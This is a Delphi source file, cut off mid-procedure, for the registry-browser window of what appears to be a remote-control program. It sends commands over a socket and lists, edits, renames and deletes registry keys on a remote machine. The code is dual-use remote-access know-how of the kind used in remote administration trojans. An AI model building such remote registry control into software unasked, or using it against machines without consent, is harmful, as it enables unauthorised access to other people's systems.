unitregistry.pas

不错的远程控制程序

unit UnitRegistry;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  ExtCtrls,
  StdCtrls,
  ComCtrls,
  Menus,
  Sockets,
  CompressionStreamUnitForms, ToolWin, ImgList;

type
  TRegistry = class(TForm)
    Label1: TLabel;
    ListView1: TListView;
    Panel1: TPanel;
    Panel2: TPanel;
    ComboBox1: TComboBox;
    Splitter1: TSplitter;
    PopupMenu1: TPopupMenu;
    New1: TMenuItem;
    Key1: TMenuItem;
    N1: TMenuItem;
    StringValue1: TMenuItem;
    BinaryValue1: TMenuItem;
    DWORDValue1: TMenuItem;
    Modify1: TMenuItem;
    N2: TMenuItem;
    Delete1: TMenuItem;
    Rename1: TMenuItem;
    ListView2: TListView;
    PopupMenu2: TPopupMenu;
    Delete2: TMenuItem;
    Rename2: TMenuItem;
    N3: TMenuItem;
    Refresh1: TMenuItem;
    ImageList3: TImageList;
    ImageList1: TImageList;
    ImageList8: TImageList;
    Panel3: TPanel;
    ToolBar1: TToolBar;
    ToolButton12: TToolButton;
    ToolButton13: TToolButton;
    ToolButton14: TToolButton;
    ToolButton15: TToolButton;
    ToolButton16: TToolButton;
    ToolButton17: TToolButton;
    ToolButton18: TToolButton;
    ToolButton19: TToolButton;
    ToolButton20: TToolButton;
    ToolButton21: TToolButton;
    ToolButton22: TToolButton;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure ListView2DblClick(Sender: TObject);
    procedure Modify1Click(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure ListView1Edited(Sender: TObject; Item: TListItem;
      var S: string);
    procedure Rename1Click(Sender: TObject);
    procedure Delete1Click(Sender: TObject);
    procedure StringValue1Click(Sender: TObject);
    procedure BinaryValue1Click(Sender: TObject);
    procedure DWORDValue1Click(Sender: TObject);
    procedure Key1Click(Sender: TObject);
    procedure Rename2Click(Sender: TObject);
    procedure ListView2Edited(Sender: TObject; Item: TListItem;
      var S: string);
    procedure Delete2Click(Sender: TObject);
    procedure PopupMenu2Popup(Sender: TObject);
    procedure Refresh1Click(Sender: TObject);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    CurrentKey: string;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

implementation

{$R *.dfm}

uses
  UnitMain,
  ModalBinary,
  ModalString,
  ModalDWORD;

const
  R_TYPE = 12;
  R_LIST = 1;
  R_RENAME = 2;
  R_DELETE = 3;
  R_EDIT = 4;
  R_NEWKEY = 5;
  R_RENAMEKEY = 6;
  R_DELETEKEY = 7;

function TRegistry.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then Label1.Caption := '断开连接...';
  end;
  Result := Connected;
end;

function DumpDataHex(Buffer: Pointer; Length: Word): string;
var
  Iterator: Integer;
  AsciiBuffer: string;
begin
  AsciiBuffer := '';
  for Iterator := 0 to Length - 1 do
  begin
    AsciiBuffer := AsciiBuffer + IntToHex(Byte(Pointer(Integer(Buffer) + Iterator)^), 2) + ' ';
  end;
  Result := AsciiBuffer;
end;

procedure TRegistry.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Registry: TRegistry;
  ConnectionInfo: TConnectionInfo;
begin
  Registry := TRegistry(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Registry.RemoteAddress then Exit;
  if Registry.DataSocket = nil then Registry.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := R_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Registry.Connected := True;
  Registry.ListView1.Cursor:=crDefault;
//  Registry.Label3.Caption  := ' 已连接: ' + Socket.RemoteAddress;
  Registry.ComboBox1.Enabled := True;
  Socket := nil;
end;

procedure TRegistry.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Registry: TRegistry;
  ListItem: TListItem;
  RegType, NameLen: dword;
  Name: PChar;
begin
  Registry := TRegistry(Data);
  if Registry.DataSocket = Socket then
  begin
    try
      case CommandFrame.Command of
        R_LIST:
          begin
            Registry.ComboBox1.Enabled := True;
            Registry.ListView2.Clear;
            Registry.ListView1.Clear;
            ListItem := Registry.ListView2.Items.Add;
            ListItem.Caption := '.';
            ListItem := Registry.ListView2.Items.Add;
            ListItem.Caption := '..';
            if Stream.Size = 0 then Exit;
            Registry.ListView2.Items.BeginUpdate;
            Registry.ListView1.Items.BeginUpdate;
            while Stream.Position < Stream.Size do
            begin
              Stream.ReadBuffer(RegType, 4);
              if not (Stream.Position < Stream.Size) then Break;
              case RegType of
                11:
                  begin
                    Stream.ReadBuffer(NameLen, 4);
                    GetMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem := Registry.ListView2.Items.Add;
                    ListItem.Data := Pointer(RegType);
                    ListItem.Caption := string(Name);
                    FreeMem(Name);
                  end;
                REG_SZ:
                  begin
                    Stream.ReadBuffer(NameLen, 4);
                    GetMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem := Registry.ListView1.Items.Add;
                    ListItem.Data := Pointer(RegType);
                    if NameLen <> 1 then
                      ListItem.Caption := string(Name)
                    else
                      ListItem.Caption := '(Default)';
                    Stream.ReadBuffer(NameLen, 4);
                    ReAllocMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem.SubItems.Add('REG_SZ');
                    if Ord(Name[1]) <> 0 then
                      ListItem.SubItems.Add(string(Name))
                    else
                      ListItem.SubItems.Add('(没有设置数值)');
                    FreeMem(Name);
                  end;
                REG_EXPAND_SZ:
                  begin
                    Stream.ReadBuffer(NameLen, 4);
                    GetMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem := Registry.ListView1.Items.Add;
                    ListItem.Data := Pointer(RegType);
                    ListItem.Caption := string(Name);
                    Stream.ReadBuffer(NameLen, 4);
                    ReAllocMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem.SubItems.Add('REG_SZ');
                    if Ord(Name[1]) <> 0 then
                      ListItem.SubItems.Add(string(Name))
                    else
                      ListItem.SubItems.Add('(没有设置数值)');
                    FreeMem(Name);
                  end;
                REG_DWORD:
                  begin
                    Stream.ReadBuffer(NameLen, 4);
                    GetMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem := Registry.ListView1.Items.Add;
                    ListItem.Data := Pointer(RegType);
                    ListItem.Caption := string(Name);
                    Stream.ReadBuffer(NameLen, 4);
                    ReAllocMem(Name, NameLen);
                    Stream.ReadBuffer(Name^, NameLen);
                    ListItem.SubItems.Add('REG_DWORD');
                    ListItem.SubItems.Add(IntToHex(dword(Name^), 8));
                    FreeMem(Name);
                  end;
              else
                begin
                  Stream.ReadBuffer(NameLen, 4);
                  GetMem(Name, NameLen);
                  Stream.ReadBuffer(Name^, NameLen);
                  ListItem := Registry.ListView1.Items.Add;
                  ListItem.Data := Pointer(RegType);
                  ListItem.Caption := string(Name);
                  Stream.ReadBuffer(NameLen, 4);
                  ReAllocMem(Name, NameLen);
                  Stream.ReadBuffer(Name^, NameLen);
                  ListItem.SubItems.Add('REG_BINARY');
                  if ((NameLen <> 0) and (NameLen <> 1)) then
                    ListItem.SubItems.Add(DumpDataHex(Name, NameLen - 1))
                  else
                    ListItem.SubItems.Add('(大于0二进制值)');
                  FreeMem(Name);
                end;
              end;
            end;
            Registry.ListView2.Items.EndUpdate;
            Registry.ListView1.Items.EndUpdate;
          end;
      end;
    finally
      Socket := nil;
    end;
  end;
end;

procedure TRegistry.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Registry: TRegistry;
begin
  Registry := TRegistry(Data);
  if Registry.DataSocket = Socket then
  begin
    Registry.Connected := True;
    Registry.Label1.Caption  := ' 断开连接';
    Socket := nil;
    Registry.DataSocket := nil;
  end;
end;

procedure TRegistry.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TRegistry.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TRegistry.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TRegistry.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TRegistry.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TRegistry.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TRegistry.ComboBox1Change(Sender: TObject);
var
  Key: HKey;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  Key := Byte(ComboBox1.ItemIndex);
  if Key = 4 then Key := 5;
  Data := IntToStr(Key) + '|';
  CurrentKey := '';
  Label1.Caption := '根  键: ' + CurrentKey;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := R_LIST;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
  ComboBox1.Enabled := False;
end;

procedure TRegistry.ListView2DblClick(Sender: TObject);